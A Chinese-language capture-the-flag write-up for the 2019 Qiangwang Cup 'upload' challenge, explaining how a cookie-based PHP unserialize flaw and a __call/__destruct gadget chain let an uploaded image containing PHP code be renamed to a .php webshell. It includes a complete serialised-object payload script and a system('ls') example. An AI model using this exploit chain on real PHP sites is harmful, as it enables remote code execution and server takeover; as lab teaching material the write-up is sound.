2019强网杯-upload

题目在vk的github上面有qwd——2019就是了

比赛时,拿到手就分析出反序列化,但是对于利用还是欠缺一点,比赛时以为是phar反序列化的知识,但是没有利用点,所以就卡在这里了。

注册admin’的用户,发现有过滤,这里是一个坑位,很容易以为是sql的二次注入。其实本题目就是个上传有关。

然后,我就发现cookie中的值为base64,下面是解码内容。

a:5:{s:2:"ID";i:3;s:8:"username";s:7:"admin\'";s:5:"email";s:11:"123@123.com";s:8:"password";s:32:"4297f44b13955235245b2497399d7a93";s:3:"img";N;}

可以确定是反序列操作了,当然反序列化就需要代码审计了,所以扫一下目录看看有没有源码泄露。然后拿到www.tar.gz网站源码。

拿到源码可以分析网站有4个主要代码页。

首先对index.php分析,找到下面的代码,可以看到是对cookie的反序列化。

   public function login_check(){

​        $profile=cookie('user');

​        if(!empty($profile)){

​            $this->profile=unserialize(base64_decode($profile));

​            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();

​            if(array_diff($this->profile_db,$this->profile)==null){

​                return 1;

​            }else{

​                return 0;

​            }

​        }

​    }

到这里我们就缺序列化的代码了,这是最重要的,在比赛中发现构建反序列化的能力是很重要的 (泪流)……..

寻找反序列化嘛,无非就是找__下划线的魔术函数,我就在里面找到了三两个。

Profile.php

    public function __get($name)
​    {
​        return $this->except[$name];
​    }
​    public function __call($name, $arguments)
​    {
​        if($this->{$name}){
​            $this->{$this->{$name}}($arguments);
​        }
​    }

Register.php

    public function __destruct()
​    {
​        if(!$this->registed){
​            $this->checker->index();
​        }
​    }

这里主要看__call,当调用类中不存在的方法时,就会调用__call()。为什么不选用__get哪?因为__get触发条件需要私有变量,而本题没有定义的私有变量,所以就不看了。举个__call的例子。

<?php
class MethodTest 
{
​    public function __call($name, $arguments) 
​    {
​        if($name){
​          echo $name($arguments[0]);
​      }
​      var_dump($arguments);
​    }
}
$obj = new MethodTest;
$obj->system('ls');

?>

题目中和例子中的代码基本一样,所以可以确定这就是题目关键。

然后,我们面临的就是上传绕过了,首先找到源代码中的过滤方法。

        public function ext_check(){
​        $ext_arr=explode(".",$this->filename);
​        $this->ext=end($ext_arr);
​        if($this->ext=="png"){
​            return 1;
​        }else{
​            return 0;
​        }
​    }

这个是验证文件类型,嘿嘿,以前出过题发现使用修改文件头就行了。

然后我们上传一个里面写了php代码的图片,修改脚本就自己找吧,网上太多了。

然后我们根据上面分析写出利用链代码。值的一说这个题是mvc框架,所以反序列化对路径要求很高,需要本地打通才能欧。

<?php
namespace app\web\controller; //这里是本题反序列化的MVC路径
class Register{
​    public $checker;
​    public $registed;
}
class Profile{
​    public $checker;
​    public $filename_tmp;
​    public $filename;
​    public $upload_menu;
​    public $ext;
​    public $img;
​    public $except;
}
$a=new Register();
$a->registed=0;
$a->checker=new Profile();
$a->checker->except=array('index'=>'upload_img');
$a->checker->ext=1;
$a->checker->filename_tmp="./upload/2ff4fb82e497844a03adf28cf6bedfde/9eb60bc8bf2b004e4db7d1cc0d5f1d8c.png";
//这里是上传文件路径,只有这样才能调用成功我们上传的后门
$a->checker->filename="./upload/altman.php";
echo base64_encode(serialize($a));
?>

将上传的文件修改为代码中的地址,运行完就重新写入cookie中。

上传有PHP代码文件(修改文件头)–反序列化cookei–执行代码,完成题目操作下面总结。

首先看一下index.php里面的反序列化在哪个函数里。login_check()

    public function login_check(){
​        $profile=cookie('user');
​        if(!empty($profile)){
​            $this->profile=unserialize(base64_decode($profile));
​            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
​            if(array_diff($this->profile_db,$this->profile)==null){
​                return 1;
​            }else{
​                return 0;
​            }
​        }
​    }

这个查询登录的函数在每个控制页面里面都有,在register里面我们发现调用login_check的参数有两个,分别是

    public function __construct()
    {
        $this->checker=new Index();
    }
    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

一个是创建class时调用,一个是销毁class时调用,

创建魔术函数一开始使用checker调用Index类了,这个时候checker=index()(报错没登录)

然后在创建结束后调用了destruct检查是否注册成功,如果没有就在跳回没登录

这里涉及两个共有变量

public $checker;

public $registed;

registed注册成功之后默认为1

1.我们知道修改registed,就能跳过验证__destruct(),修改checker就能调用其他的类了

这里没看懂的可以翻到login_check函数。

然后我们看payload脚本,怕你忘记再贴一遍payload源码

<?php
namespace app\web\controller;
class Register{
    public $checker;
    public $registed;
}
class Profile{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}
$a=new Register();
$a->registed=0;  //这里跳过了__destruct进入函数,
$a->checker=new Profile();  //可以看到这里我们为checker赋了一个对象,这是反序列化的基本操作,这样就能调用其他对象里面的函数了。
$a->checker->except=array('index'=>'upload_img');//这里我们看到了他为profile函数的except赋了值
$a->checker->ext=1;//为ext赋值,可以控制咱们上传的文件改名
$a->checker->filename_tmp="./upload/2ff4fb82e497844a03adf28cf6bedfde/9eb60bc8bf2b004e4db7d1cc0d5f1d8c.png";
$a->checker->filename="./upload/altman.php";//改名成功
echo base64_encode(serialize($a));
?>

可以看到payload调用了profile.php,下面贴出profile代码,这里mvc的php和class的关系可以自己理解。

  public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){//我们没有上传文件,这样我们就绕过后缀名
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {//主要用处就是改名字
            if(getimagesize($this->filename_tmp)) {//这里我们通过反序列化赋值公共变量这样的操作,可以将我们上传的改了后缀名字的文件,变为我们传的filename,这里就能为所欲为了。
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

2.根据__call类的例子,我们发现了只要实例化然后传值就能调用,而且我们发现了我们上传修改的值,没有上传文件,就绕过了改后缀的环节。然后就被直接把临时文件改为我们想要的文件名字了。最后就是构造payload了。

3.注意,构造反序列化时需要写清楚反序列化的路径,其他的就不需要了,其他的要把全部的public变量要复制一遍吧,或者是把源码的共有变量在复制一遍是一样的。

参考链接

https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&mid=2247484435&idx=1&sn=8c8e3cf479f56b3ab324ae6f4774ef48&chksm=9760f0c5a01779d348fde473b6175dbb64cfa4efc5436a5

https://www.zhaoj.in/read-5873.html?tdsourcetag=s_pctim_aiomsg

发表评论

邮箱地址不会被公开。 必填项已用*标注